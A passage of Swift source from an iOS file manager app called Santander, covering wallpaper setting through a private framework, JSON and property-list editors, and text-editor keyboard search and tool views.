SBSUIWallpaperSetImages let sbServer = dlopen("/System/Library/PrivateFrameworks/SpringBoardUIServices.framework/SpringBoardUIServices", RTLD_LAZY) defer { dlclose(sbF) dlclose(sbServer) } guard let options = NSClassFromString("SBFWallpaperOptions")?.alloc(), let pointer = dlsym(sbServer, "SBSUIWallpaperSetImages"), let setWallpaper = unsafeBitCast(pointer, to: (SetWallpaperFunction)?.self) else { errorAlert(nil, title: "Unable to set image as wallpaper") return } let imagesDict = [ "light": image, "dark": image ] let optionsDict = [ "light" : options, "dark": options ] let result = setWallpaper(NSDictionary(dictionary: imagesDict), NSDictionary(dictionary: optionsDict), location.rawValue, traitCollection.userInterfaceStyle.rawValue) // 1 is success if result != 1 { errorAlert("SBSUIWallpaperSetImages returned status code \(result) (should be 1)", title: "Unable to set image as wallpaper") } } /// The places where an image can be set as the Wallpaper /// The integer values here are passed directly to `SBSUIWallpaperSetImages` enum WallpaperDestination: Int, CustomStringConvertible, CaseIterable { static let allCases: [WallpaperDestination] = [.homeScreen, .lockScreen, .both] case lockScreen = 1 case homeScreen = 2 case both = 3 var description: String { switch self { case .lockScreen: return "Lock Screen" case .homeScreen: return "Home Screen" case .both: return "Home Screen & Lock Screen" } } } } ================================================ FILE: Santander/UI/Editors/Serialized/SerializedArrayViewController.swift ================================================ // // SerializedArrayViewController.swift // Santander // // Created by Serena on 18/08/2022. // import UIKit class SerializedArrayViewController: UITableViewController { var array: Array let type: SerializedDocumentViewerType let fileURL: URL? let canEdit: Bool var parentController: SerializedControllerParent? init( array: Array, type: SerializedDocumentViewerType, parentController: SerializedControllerParent?, title: String?, fileURL: URL?, canEdit: Bool ) { self.array = array self.type = type self.fileURL = fileURL self.canEdit = canEdit self.parentController = parentController super.init(style: .userPreferred) self.title = title } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func numberOfSections(in tableView: UITableView) -> Int { return 1 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return array.count } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell() var conf = cell.defaultContentConfiguration() let item = array[indexPath.row] if item as? Array != nil { conf.text = "Array (Index \(indexPath.row))" cell.accessoryType = .disclosureIndicator } else if item as? [String: Any] != nil { conf.text = "Dictionary (Index \(indexPath.row))" cell.accessoryType = .disclosureIndicator } else { conf.text = SerializedItemType(item: item).description } cell.contentConfiguration = conf return cell } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return true } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { if let arr = array[indexPath.row] as? Array { let title = "Array (Index \(indexPath.row))" let vc = SerializedArrayViewController( array: arr, type: type, parentController: .array(self), title: title, fileURL: fileURL, canEdit: canEdit ) navigationController?.pushViewController(vc, animated: true) } else if let dict = array[indexPath.row] as? [String: Any] { let serializedDict = dict.asSerializedDictionary() let title = "Dictionary (Index \(indexPath.row))" let vc = SerializedDocumentViewController(dictionary: serializedDict, type: type, title: title, fileURL: fileURL, parentController: .array(self), canEdit: true) navigationController?.pushViewController(vc, animated: true) } else { tableView.deselectRow(at: indexPath, animated: true) } } override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? { guard canEdit else { return nil } let removeAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in var newArr = self.array newArr.remove(at: indexPath.row) if self.writeToFile(newArray: newArr) { tableView.deleteRows(at: [indexPath], with: .fade) completion(true) } else { completion(false) } } removeAction.image = .remove return UISwipeActionsConfiguration(actions: [removeAction]) } func writeToFile(newArray: Array) -> Bool { // if this array controller comes from a parent, // edit the array / dictionary in the parent to the new array given in the parameters if let parentController = parentController { let didSucceed: Bool switch parentController { case .dictionary(let parent): var parentDict = parent.serializedDict let key = parentDict.first { (_, value) in value == .array(self.array) }?.key guard let key = key else { return false } parentDict[key] = .array(newArray) didSucceed = parent.writeToFile(newDict: parentDict) case .array(let parent): var parentArr = parent.array let indx = parentArr.firstIndex { item in guard let item = item as? Array else { return false } return NSArray(array: self.array) == NSArray(array: item) } guard let indx = indx else { return false } parentArr[indx] = newArray didSucceed = parent.writeToFile(newArray: parentArr) } if didSucceed { self.array = newArray } return didSucceed } // writing to root of file guard let fileURL = fileURL else { return false } do { let newSerializedData: Data switch type { case .json: newSerializedData = try JSONSerialization.data(withJSONObject: newArray) case .plist(let format): guard let format = format else { return false } newSerializedData = try PropertyListSerialization.data(fromPropertyList: newArray, format: format, options: 0) } try FSOperation.perform(.writeData(url: fileURL, data: newSerializedData), rootHelperConf: RootConf.shared) self.array = newArray return true } catch { self.errorAlert(error, title: "Unable to write to file") return false } } } ================================================ FILE: Santander/UI/Editors/Serialized/SerializedDocumentViewController.swift ================================================ // // SerializedDocumentViewController.swift // Santander // // Created by Serena on 16/08/2022. // import UIKit typealias SerializedDictionaryType = [String: SerializedItemType] /// A ViewController which displays the contents of a PropertyList or JSON file class SerializedDocumentViewController: UITableViewController, SerializedItemViewControllerDelegate { var serializedDict: SerializedDictionaryType var filteredDict: SerializedDictionaryType = [:] var keys: [String] { let keysArr = Array(isSearching ? filteredDict.keys : serializedDict.keys) return keysArr } var fileURL: URL? var canEdit: Bool var isSearching: Bool = false let type: SerializedDocumentViewerType let parentController: SerializedControllerParent? init( dictionary: SerializedDictionaryType, type: SerializedDocumentViewerType, title: String, fileURL: URL? = nil, parentController: SerializedControllerParent?, canEdit: Bool ) { self.serializedDict = dictionary self.type = type self.fileURL = fileURL self.canEdit = canEdit self.parentController = parentController super.init(style: .userPreferred) self.title = title } override func viewDidLoad() { super.viewDidLoad() navigationItem.rightBarButtonItem = UIBarButtonItem(systemItem: .done, primaryAction: UIAction(withClosure: dismissVC)) let searchController = UISearchController() searchController.searchBar.delegate = self navigationItem.searchController = searchController navigationItem.hidesSearchBarWhenScrolling = !UserPreferences.alwaysShowSearchBar } convenience init?( type: SerializedDocumentViewerType, fileURL: URL, data: Data, canEdit: Bool ) { switch type { case .json: guard let json = try? JSONSerialization.jsonObject(with: data) as? [String: Any] else { return nil } let newDict = json.asSerializedDictionary() self.init(dictionary: newDict, type: .json, title: fileURL.lastPathComponent, fileURL: fileURL, parentController: nil, canEdit: canEdit) case .plist(_): let fmt: UnsafeMutablePointer? = .allocate(capacity: 4) defer { fmt?.deallocate() } guard let plist = try? PropertyListSerialization.propertyList(from: data, format: fmt) as? [String: Any] else { return nil } let newDict = plist.asSerializedDictionary() self.init(dictionary: newDict, type: .plist(format: fmt?.pointee), title: fileURL.lastPathComponent, fileURL: fileURL, parentController: nil, canEdit: canEdit) } } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } override func numberOfSections(in tableView: UITableView) -> Int { return 1 } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return keys.count } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value2, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() let text = keys[indexPath.row] conf.text = text let elem = dictElement(forKey: text) switch elem { case .dictionary(_), .array(_): cell.accessoryType = .disclosureIndicator default: cell.accessoryType = .detailButton } conf.secondaryText = valueDescription(forElement: elem) cell.contentConfiguration = conf return cell } func dismissVC() { self.dismiss(animated: true) } /// Present the SerializedDocumentViewController for a specified indexPath func presentViewController(forIndexPath indexPath: IndexPath) { let text = keys[indexPath.row] let elem = dictElement(forKey: text)! if case .array(let arr) = elem { let vc = SerializedArrayViewController(array: arr, type: type, parentController: .dictionary(self), title: text, fileURL: fileURL, canEdit: canEdit) self.navigationController?.pushViewController(vc, animated: true) } else if case .dictionary(let dict) = elem { let newDict = dict.asSerializedDictionary() let vc = SerializedDocumentViewController(dictionary: newDict, type: type, title: text, fileURL: fileURL, parentController: .dictionary(self), canEdit: true) self.navigationController?.pushViewController(vc, animated: true) } else { let vc = SerializedItemViewController(item: elem, itemKey: text) vc.delegate = self navigationController?.pushViewController(vc, animated: true) } } override func tableView(_ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) { presentViewController(forIndexPath: indexPath) } func didChangeName(ofItem item: String, to newName: String) -> Bool { guard let value = serializedDict[item] else { return false } var newDict: SerializedDictionaryType = serializedDict newDict[item] = nil newDict[newName] = value let didSucceed = writeToFile(newDict: newDict) tableView.reloadData() return didSucceed } func didChangeValue(ofItem item: String, to newValue: SerializedItemType) -> Bool { var newDict: SerializedDictionaryType = serializedDict newDict[item] = newValue let didSucceed = writeToFile(newDict: newDict) if isSearching { tableView.reloadData() } else { updateFilteredDict(reloadData: true, searchText: nil) } return didSucceed } override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) { presentViewController(forIndexPath: indexPath) } @discardableResult func writeToFile(newDict: SerializedDictionaryType) -> Bool { // TODO: - Support for editing nested dicts! guard let fileURL = fileURL, canEdit else { return false } // write to parent dictionary / array if let parentController = parentController { let didSucced: Bool switch parentController { case .dictionary(let parent): let key = parent.serializedDict.first { (_, value) in value == SerializedItemType.dictionary(self.serializedDict.asAnyDictionary()) }?.key guard let key = key else { return false } var parentDict = parent.serializedDict parentDict[key] = .dictionary(newDict.asAnyDictionary()) didSucced = parent.writeToFile(newDict: parentDict) case .array(let parent): var parentArr = parent.array let indx = parentArr.firstIndex { item in guard let item = item as? Dictionary else { return false } return serializedDict == item.asSerializedDictionary() } guard let indx = indx else { return false } parentArr[indx] = newDict.asAnyDictionary() didSucced = parent.writeToFile(newArray: parentArr) } if didSucced { self.serializedDict = newDict return true } return false } switch type { case .json: do { let newData = try JSONSerialization.data(withJSONObject: newDict.asAnyDictionary(), options: .prettyPrinted) try FSOperation.perform(.writeData(url: fileURL, data: newData), rootHelperConf: RootConf.shared) self.serializedDict = newDict return true } catch { self.errorAlert(error, title: "Unable to write to file \(fileURL.lastPathComponent)", presentingFromIfAvailable: presentedViewController) return false } case .plist(let format): guard let format = format else { self.errorAlert("Unable to get plist format", title: "Can't write to Property List file", presentingFromIfAvailable: presentedViewController) return false } do { let newData = try PropertyListSerialization.data(fromPropertyList: newDict.asAnyDictionary(), format: format, options: 0) try FSOperation.perform(.writeData(url: fileURL, data: newData), rootHelperConf: RootConf.shared) self.serializedDict = newDict return true } catch { self.errorAlert(error, title: "Unable to write to file \(fileURL.lastPathComponent)", presentingFromIfAvailable: presentedViewController) return false } } } /// Returns the element to be used for the given key /// in the dictionary func dictElement(forKey key: String) -> SerializedItemType? { return isSearching ? filteredDict[key] : serializedDict[key] } override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? { guard canEdit else { return nil } let deleteAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in var newDict = self.serializedDict newDict[self.keys[indexPath.row]] = nil if self.writeToFile(newDict: newDict) { self.updateFilteredDict(reloadData: false, searchText: nil) self.tableView.deleteRows(at: [indexPath], with: .fade) completion(true) } else { completion(false) } } deleteAction.image = .remove return UISwipeActionsConfiguration(actions: [deleteAction]) } } /// The types openable in SerializedDocumentViewController enum SerializedDocumentViewerType { case json case plist(format: PropertyListSerialization.PropertyListFormat?) } extension SerializedDocumentViewController: UISearchBarDelegate { func searchBarCancelButtonClicked(_ searchBar: UISearchBar) { isSearching = false tableView.reloadData() } func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) { isSearching = !searchText.isEmpty updateFilteredDict(reloadData: true, searchText: searchText) } func valueDescription(forElement element: SerializedItemType?) -> String? { switch element { case .array(_), .dictionary(_): return element?.typeDescription default: return element?.description } } func updateFilteredDict(reloadData: Bool, searchText text: String?) { if isSearching { let searchText = text ?? navigationItem.searchController?.searchBar.text ?? "" filteredDict = serializedDict.filter { (key, value) in return key.localizedCaseInsensitiveContains(searchText) || valueDescription(forElement: value)?.localizedCaseInsensitiveContains(searchText) ?? false } } if reloadData { tableView.reloadData() } } } ================================================ FILE: Santander/UI/Editors/Serialized/SerializedItemType.swift ================================================ // // SerializedItemType.swift // Santander // // Created by Serena on 17/08/2022. // import Foundation enum SerializedItemType: Equatable, CustomStringConvertible { static func == (lhs: SerializedItemType, rhs: SerializedItemType) -> Bool { switch (lhs, rhs) { case (.string(let first), .string(let second)): return first == second case (.bool(let first), .bool(let second)): return first == second case (.int(let first), .int(let second)): return first == second case (.float(let first), .float(let second)): return first == second case (.data(let first), .data(let second)): return first == second case (.date(let first), .date(let second)): return first == second case (.array(let first), .array(let second)): return NSArray(array: first) == NSArray(array: second) case (.dictionary(let first), .dictionary(let second)): return NSDictionary(dictionary: first) == NSDictionary(dictionary: second) default: return false } } case string(String) case bool(Bool) case int(Int) case float(Float) case array(Array) case dictionary([String: Any]) case data(Data) case date(Date) case other(Any) init(item: Any) { switch item { case let string as String: self = .string(string) case let nsNumber as NSNumber: // handle bools if CFGetTypeID(nsNumber) == CFBooleanGetTypeID() { self = .bool(nsNumber.boolValue) } else { // handle numbers switch CFNumberGetType(nsNumber as CFNumber) { case .floatType, .float32Type, .float64Type, .cgFloatType, .doubleType: self = .float(nsNumber.floatValue) default: self = .int(nsNumber.intValue) } } case let arr as Array: self = .array(arr) case let dictionary as Dictionary: self = .dictionary(dictionary) case let data as NSData: self = .data(data as Data) case let date as NSDate: self = .date(date as Date) default: self = .other(item) } } var description: String { switch self { case .string(let string): return string case .bool(let bool): return bool.description case .int(let int): return int.description case .float(let float): return float.description case .array(let array): return array.description case .dictionary(let nsDictionary): return nsDictionary.description case .date(let date): return date.listFormatted() case .data(let data): return "Data (Size: \(data.count))" case .other(let any): return String(describing: any) } } var typeDescription: String { switch self { case .string(_): return "String" case .bool(_): return "Boolean" case .int(_): return "Integer" case .float(_): return "Float" case .data(_): return "Data" case .array(_): return "Array" case .dictionary(_): return "Dictionary" case .date(_): return "Date" case .other(_): return "Unknown Type" } } var representedObject: Any { switch self { case .string(let string): return string case .bool(let bool): return bool case .int(let int): return int case .float(let float): return float case .array(let nsArray): return nsArray case .dictionary(let nsDictionary): return nsDictionary case .data(let data): return data case .date(let date): return date case .other(let any): return any } } } enum SerializedControllerParent { case dictionary(SerializedDocumentViewController) case array(SerializedArrayViewController) } ================================================ FILE: Santander/UI/Editors/Serialized/SerializedItemViewController.swift ================================================ // // PropertyListItemViewController.swift // Santander // // Created by Serena on 17/08/2022. // import UIKit class SerializedItemViewController: UITableViewController { var item: SerializedItemType var itemKey: String weak var delegate: SerializedItemViewControllerDelegate? init(item: SerializedItemType, itemKey: String) { self.item = item self.itemKey = itemKey super.init(style: .grouped) } required init?(coder: NSCoder) { fatalError() } func setItem(to newValue: SerializedItemType) { if self.delegate?.didChangeValue(ofItem: itemKey, to: newValue) ?? false { item = newValue tableView.reloadRows(at: [IndexPath(row: 0, section: 1)], with: .fade) } } override func viewDidLoad() { super.viewDidLoad() title = itemKey } override func numberOfSections(in tableView: UITableView) -> Int { return 3 } override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool { return false } override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int { return 1 } /// The button to present the options for changing the value of a bool func makeBoolChangeButton(currentItemBoolValue: Bool) -> UIButton { let button = UIButton() // actions to change between true and false let actions = [true, false].map { bool in UIAction(title: bool.description, state: currentItemBoolValue == bool ? .on : .off) { _ in self.setItem(to: .bool(bool)) } } button.menu = UIMenu(children: actions) button.showsMenuAsPrimaryAction = true button.setTitle(currentItemBoolValue.description, for: .normal) button.setTitleColor(.systemGray, for: .normal) return button } override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell { let cell = UITableViewCell(style: .value1, reuseIdentifier: nil) var conf = cell.defaultContentConfiguration() switch indexPath.section { case 0: let textField = UITextField(frame: cell.frame) textField.text = itemKey textField.returnKeyType = .done let action = UIAction { self.itemKeyTextFieldDone(textField, indexPath: indexPath) } textField.addAction(action, for: .editingDidEndOnExit) cell.contentView.addSubview(textField) textField.translatesAutoresizingMaskIntoConstraints = false NSLayoutConstraint.activate([ textField.leadingAnchor.constraint(equalTo: cell.contentView.layoutMarginsGuide.leadingAnchor), textField.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor) ]) return cell case 1: switch item { case .bool(let bool): return cellWithView(makeBoolChangeButton(currentItemBoolValue: bool), text: "Value") case .string(let string): let textView = UITextView(frame: cell.frame) textView.text = string textView.font = .systemFont(ofSize: UIFont.systemFontSize) textView.backgroundColor = cell.backgroundColor textView.autoresizingMask = [.flexibleHeight, .flexibleWidth] textView.isScrollEnabled = true let editTextAction = UIAction { guard let text = textView.text else { return } self.setItem(to: .string(text)) textView.resignFirstResponder() } textView.inputAccessoryView = toolbarDoneView(doneAction: editTextAction, textFieldOrView: textView) cell.contentView.addSubview(textView) return cell case .int(_), .float(_): return cellWithView(valueTextField(atIndexPath: indexPath), text: "Value") case .date(let date): let datePicker = UIDatePicker() datePicker.date = date let action = UIAction { self.setItem(to: .date(datePicker.date)) } datePicker.addAction(action, for: .editingDidEnd) return cellWithView(datePicker, text: "Value") default: conf.text = "Value" conf.secondaryText = item.description } case 2: conf.text = "Type" conf.secondaryText = item.typeDescription default: fatalError() } cell.contentConfiguration = conf return cell } override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? { switch section { case 0: return "Key" case 1: return "Value" case 2: return "Type" default: return nil } } func valueTextField(atIndexPath indexPath: IndexPath) -> UITextField { let textField = UITextField() let action = UIAction { self.valueTextFieldDone(textField, atIndexPath: indexPath) } switch item { case .string(let string): textField.text = string textField.returnKeyType = .done textField.addAction(action, for: .editingDidEndOnExit) case .int(let int): textField.keyboardType = .numberPad textField.text = int.description textField.inputAccessoryView = toolbarDoneView(doneAction: action, textFieldOrView: textField) case .float(let float): textField.text = float.description textField.keyboardType = .decimalPad textField.inputAccessoryView = toolbarDoneView(doneAction: action, textFieldOrView: textField) default: fatalError() // should never get here } return textField } /// A toolbar with a bar button item saying 'done' /// this is needed for non-string type textfields func toolbarDoneView(doneAction: UIAction, textFieldOrView: UIResponder) -> UIToolbar { let toolbar = UIToolbar() let cancelAction = UIAction { textFieldOrView.resignFirstResponder() } let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction) let cancelButton = UIBarButtonItem(systemItem: .cancel, primaryAction: cancelAction) toolbar.setItems([cancelButton, .flexibleSpace(), doneButton], animated: true) toolbar.sizeToFit() return toolbar } func valueTextFieldDone(_ textField: UITextField, atIndexPath indexPath: IndexPath) { guard let text = textField.text, !text.isEmpty else { return } switch item { case .string(_): setItem(to: .string(text)) case .int(_): guard let num = Int(text) else { return } setItem(to: .int(num)) case .float(_): guard let num = Float(text) else { return } setItem(to: .float(num)) default: break } textField.resignFirstResponder() } func itemKeyTextFieldDone(_ textField: UITextField, indexPath: IndexPath) { guard let text = textField.text, !text.isEmpty else { return } if self.delegate?.didChangeName(ofItem: itemKey, to: text) ?? false { self.itemKey = text self.title = self.itemKey self.tableView.reloadRows(at: [indexPath], with: .fade) } textField.resignFirstResponder() } } protocol SerializedItemViewControllerDelegate: AnyObject { func didChangeName(ofItem item: String, to newName: String) -> Bool func didChangeValue(ofItem item: String, to newValue: SerializedItemType) -> Bool } ================================================ FILE: Santander/UI/Editors/TextEditor/KeyboardSearchView.swift ================================================ // // KeyboardSearchView.swift // Santander // // Created by Serena on 09/02/2023. // import UIKit import Runestone fileprivate func makeGenericButton(image: UIImage?) -> UIButton { let button = UIButton(type: .system) button.translatesAutoresizingMaskIntoConstraints = false button.setImage(image, for: .normal) button.tintColor = .label return button } // Not stolen, unlike KeyboardToolsView class KeyboardSearchView: UIInputView { weak var textView: TextView? let searchQueue = DispatchQueue(label: "com.serena.Santander.KeyboardSearchView.search", qos: .background) var searchWorkItem: DispatchWorkItem? var searchMethod: SearchQuery.MatchMethod = .contains var isCaseSensitive: Bool = false var searchTextField: UISearchTextField! // for the chevron up/down buttons var currentIndex: Int = 0 var chevronUpButton: UIButton! var chevronDownButton: UIButton! var currentResults: [SearchResult] = [] init( frame: CGRect = CGRect(origin: .zero, size: CGSize(width: UIScreen.main.bounds.width, height: 44)), textView: TextView ) { super.init(frame: frame, inputViewStyle: .default) self.textView = textView commonInit() } required init?(coder: NSCoder) { fatalError("init(coder:) has not been implemented") } func commonInit() { let doneButton = UIButton(type: .system) doneButton.translatesAutoresizingMaskIntoConstraints = false doneButton.setTitle("Done", for: .normal) doneButton.titleLabel?.font = .preferredFont(forTextStyle: .body) doneButton.setTitleColor(.white, for: .normal) doneButton.addTarget(self, action: #selector(doneDismiss), for: .allEvents) self.chevronUpButton = makeGenericButton(image: UIImage(systemName: "chevron.up")) self.chevronDownButton = makeGenericButton(image: UIImage(systemName: "chevron.down")) chevronUpButton.tag = 0 chevronDownButton.tag = 1 chevronUpButton.addTarget(self, action: #selector(chevronButtonClicked(sender:)), for: .touchUpInside) chevronDownButton.addTarget(self, action: #selector(chevronButtonClicked(sender:)), for: .touchUpInside) chevronUpButton.isEnabled = false chevronDownButton.isEnabled = false let filterButton = makeGenericButton(image: UIImage(systemName: "line.horizontal.3.decrease.circle")?.withTintColor(.systemBlue, renderingMode: .alwaysOriginal)) filterButton.menu = makeSearchMethodMenu(button: filterButton) filterButton.showsMenuAsPrimaryAction = true let chevronButtonsStackView = UIStackView(arrangedSubviews: [filterButton, chevronUpButton, chevronDownButton]) chevronButtonsStackView.setCustomSpacing(10, after: filterButton) chevronButtonsStackView.translatesAutoresizingMaskIntoConstraints = false self.searchTextField = UISearchTextField() searchTextField.addTarget(self, action: #selector(searchDidChange(searchTextField:)), for: .editingChanged) searchTextField.inputAccessoryView = self searchTextField.translatesAutoresizingMaskIntoConstraints = false addSubview(doneButton) addSubview(searchTextField) addSubview(chevronButtonsStackView) NSLayoutConstraint.activate([ doneButton.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 10), doneButton.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor), chevronButtonsStackView.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor), chevronButtonsStackView.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor), searchTextField.leadingAnchor.constraint(equalTo: doneButton.leadingAnchor, constant: 50), searchTextField.trailingAnchor.constraint(equalTo: chevronButtonsStackView.leadingAnchor, constant: -10), searchTextField.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor), ]) } func makeSearchMethodMenu(button: UIButton) -> UIMenu { let filterButtonItems = SearchQuery.MatchMethod.allCases.reversed().map { meth in return UIAction(title: meth.description, state: searchMethod == meth ? .on : .off) { [unowned self] _ in searchMethod = meth button.menu = makeSearchMethodMenu(button: button) // reload menu } } let caseSensitiveAction = UIAction(title: "Case Sensitive", state: isCaseSensitive ? .on : .off) { [unowned self] action in isCaseSensitive.toggle() button.menu = makeSearchMethodMenu(button: button) // reload menu } let items: [UIMenuElement] = [UIMenu(options: .displayInline, children: [caseSensitiveAction])] + filterButtonItems return UIMenu(title: "Search Method", children: items) } // Action of the 'Done' button @objc func doneDismiss() { guard let textView else { return } textView.highlightedRanges = [] textView.inputAccessoryView = KeyboardToolsView(textView: textView) textView.resignFirstResponder() } @objc func searchDidChange(searchTextField: UISearchTextField) { searchWorkItem?.cancel() guard let textView else { return } guard let text = searchTextField.text, !text.isEmpty else { textView.highlightedRanges = [] // remove highlighted ranges if there is no text or it's empty chevronUpButton.isEnabled = false chevronDownButton.isEnabled = false return } let newItem = DispatchWorkItem(flags: .assignCurrentContext) { [unowned self] in update(withResults: textView.search(for: makeSearchQuery(text: text))) } searchWorkItem = newItem searchQueue.asyncAfter(deadline: .now().advanced(by: .milliseconds(3)), execute: newItem) } func update(withResults results: [SearchResult]) { currentResults = results let areResultsNotEmpty = !results.isEmpty DispatchQueue.main.async { [unowned self] in if areResultsNotEmpty { textView?.scrollRangeToVisible(results[0].range) } chevronUpButton.isEnabled = areResultsNotEmpty chevronDownButton.isEnabled = areResultsNotEmpty } let highlightedRanges = results.map { result in HighlightedRange(range: result.range, color: .systemOrange) } textView?.highlightedRanges = highlightedRanges } func makeSearchQuery(text: String) -> SearchQuery { return SearchQuery(text: text, matchMethod: searchMethod, isCaseSensitive: isCaseSensitive) } @objc func chevronButtonClicked(sender: UIButton) { switch sender.tag { case 0: // up button currentIndex -= 1 case 1: // down button currentIndex += 1 default: break } chevronUpButton.isEnabled = currentIndex != 0 chevronDownButton.isEnabled = currentIndex != (currentResults.count - 1) print(currentIndex, currentResults.count) textView?.scrollRangeToVisible(currentResults[currentIndex].range) } } extension SearchQuery.MatchMethod: CaseIterable, CustomStringConvertible { public static var allCases: [SearchQuery.MatchMethod] = [.startsWith, .endsWith, .contains, .fullWord, .regularExpression] public var description: String { switch self { case .contains: return "Contains" case .fullWord: return "Full Word" case .startsWith: return "Starts With" case .endsWith: return "Ends With" case .regularExpression: return "Regex" } } } ================================================ FILE: Santander/UI/Editors/TextEditor/KeyboardToolsView.swift ================================================ // // KeyboardToolsView.swift // Santander // // Created by Serena on 04/07/2022 // import Runestone import UIKit // Stolen directly from Runestone example source code, modified for use by Serena fileprivate func _makeGenericButton(image: UIImage?) -> UIButton { let button = UIButton(type: .system) button.translatesAutoresizingMaskIntoConstraints = false button.setImage(image, for: .normal) button.tintColor = .label return button } final class KeyboardToolsView: UIInputView { private let shiftLeftButton = _makeGenericButton(image: UIImage(systemName: "arrow.left.to.line")) private let shiftRightButton = _makeGenericButton(image: UIImage(systemName: "arrow.right.to.line")) private let undoButton = _makeGenericButton(image: UIImage(systemName: "arrow.uturn.backward")) private let redoButton = _makeGenericButton(image: UIImage(systemName: "arrow.uturn.forward")) private let dismissButton = _makeGenericButton(image: UIImage(systemName: "keyboard.chevron.compact.down")) private let searchButton = _makeGenericButton(image: UIImage(systemName: "magnifyingglass")) private weak var textView: TextView? init(textView: TextView) { self.textView = textView let frame = CGRect(x: 0, y: 0, width: UIScreen.main.bounds.width, height: 44) super.init(frame: frame, inputViewStyle: .keyboard) setupView() setupLayout() NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerCheckpoint, object: nil) NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerDidUndoChange, object: nil) NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerDidRedoChange, object: nil) } required init?(coder aDecoder: NSCoder) { fatalError("init(coder:) has not been implemented") } deinit { NotificationCenter.default.removeObserver(self) } private func setupView() { addSubview(shiftLeftButton) addSubview(shiftRightButton) addSubview(undoButton) addSubview(redoButton) addSubview(dismissButton) addSubview(searchButton) shiftLeftButton.addTarget(self, action: #selector(shiftLeft), for: .touchUpInside) shiftRightButton.addTarget(self, action: #selector(shiftRight), for: .touchUpInside) undoButton.addTarget(self, action: #selector(undo), for: .touchUpInside) redoButton.addTarget(self, action: #selector(redo), for: .touchUpInside) dismissButton.addTarget(self, action: #selector(dismissKeyboard), for: .touchUpInside) searchButton.addTarget(self, action: #selector(switchToSearch), for: .touchUpInside) updateUndoRedoButtonStates() } private func setupLayout() { NSLayoutConstraint.activate([ shiftLeftButton.leadingAnchor.constraint(equalTo: layoutMarginsGuide.leadingAnchor), shiftLeftButton.topAnchor.constraint(equalTo: topAnchor), shiftLeftButton.bottomAnchor.constraint(equalTo: bottomAnchor), shiftRightButton.leadingAnchor.constraint(equalTo: shiftLeftButton.trailingAnchor, constant: 6), shiftRightButton.topAnchor.constraint(equalTo: topAnchor), shiftRightButton.bottomAnchor.constraint(equalTo: bottomAnchor), undoButton.trailingAnchor.constraint(equalTo: redoButton.leadingAnchor, constant: -10), undoButton.topAnchor.constraint(equalTo: topAnchor), undoButton.bottomAnchor.constraint(equalTo: bottomAnchor), redoButton.trailingAnchor.constraint(equalTo: dismissButton.leadingAnchor, constant: -46), redoButton.topAnchor.constraint(equalTo: topAnchor), redoButton.bottomAnchor.constraint(equalTo: bottomAnchor), dismissButton.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor), dismissButton.topAnchor.constraint(equalTo: topAnchor), dismissButton.bottomAnchor.constraint(equalTo: bottomAnchor), searchButton.trailingAnchor.constraint(equalTo: dismissButton.trailingAnchor, constant: -35), searchButton.topAnchor.constraint(equalTo: topAnchor), searchButton.bottomAnchor.constraint(equalTo: bottomAnchor) ]) } } private extension KeyboardToolsView { @objc private func shiftLeft() { textView?.shiftLeft() } @objc private func shiftRight() { textView?.shiftRight() } @objc private func undo() { textView?.undoManager?.undo() } @objc private func redo() { textView?.undoManager?.redo() } @objc private func dismissKeyboard() { textView?.resignFirstResponder() } @objc private func switchToSearch() { guard let textView else { return } textView.inputAccessoryView = KeyboardSearchView(textView: textView) textView.resignFirstResponder() textView.becomeFirstResponder() } @objc private func updateUndoRedoButtonStates() { let undoManager = textView?.undoManager undoButton.isEnabled = undoManager?.canUndo ?? false redoButton.isEnabled = undoManager?.canRedo ?? false } } ================================================ FILE: Santander/UI/Editors/TextEditor/TextEditorThemeSettingsViewController.swift ================================================ // // TextEditorThemeSettingsViewController.swift // Santander // // Created by Serena on 03/07/2022 // import UIKit import Runestone class TextEditorThemeSettingsViewController: SettingsTableViewController { weak var delegate: EditorThemeSettingsDelegate? var selectedIndexPath: IndexPath? = nil var theme: CodableTextEditorTheme var editorBackgroundColor: UIColor { theme.textEditorBackgroundColor?.uiColor ?? .tertiarySystemBackground } init(style: UITableView.Style, theme: CodableTextEditorTheme) { self.theme = theme super.init(style: style) } required init?(coder: NSCoder) { fatalError("init(coder:) hasn't been implemented.") } override func viewDidLoad() { self.title = "Text Editor Settings" } override func numberOfSections(in tableView: UITableView) -> Int { return 3 } override func tableView(_ tableView: 